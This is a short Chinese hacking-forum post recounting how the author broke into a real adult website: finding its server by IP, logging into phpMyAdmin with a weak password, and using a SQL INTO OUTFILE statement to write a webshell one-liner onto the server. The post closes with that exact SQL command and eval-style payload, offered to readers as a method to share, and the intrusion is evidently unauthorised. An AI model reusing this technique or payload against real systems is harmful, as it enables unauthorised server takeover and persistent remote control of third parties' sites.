HanDs
管理员

sql语句执行导出一句话拿shell 



这次的目标呢是一个性爱网站.

sql语句执行导出一句话拿shell

看起来很不错.但是跑了一下,并没有发现可用的页面.而且是html静态.

是有那么点棘手呀!!!

于是解析了下ip.然后对ip进行了访问,却又发现意外的惊喜.

sql语句执行导出一句话拿shell

嗯,看起来的确是很不错的.尝试着弱口令登录了一下.竟然回显登陆成功.

sql语句执行导出一句话拿shell

看起来希望很大了.直接登录phpmyadmin.

sql语句执行导出一句话拿shell

找了半天.却没有发现有可利用的数据,于是利用了sql语句执行,导出一句话,

sql语句执行导出一句话拿shell

在这里呢,我导出的是txt,自然而然导出一句话的思路方法原理也是一样的.

sql语句执行导出一句话拿shell

注重的是方法思路和大家分享,希望能对大家有所帮助!!!

sql执行导出文件语句:select'<% eXEcGlOBaL ReQuEsT("mike") %>' INTO OUTFILE "D:/UPUPW/htdocs/heike.php"


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
sql 语句执行导出一句话拿 shell
#1楼
发帖时间:2016-7-22   |   查看数:0   |   回复数:0
游客组
快速回复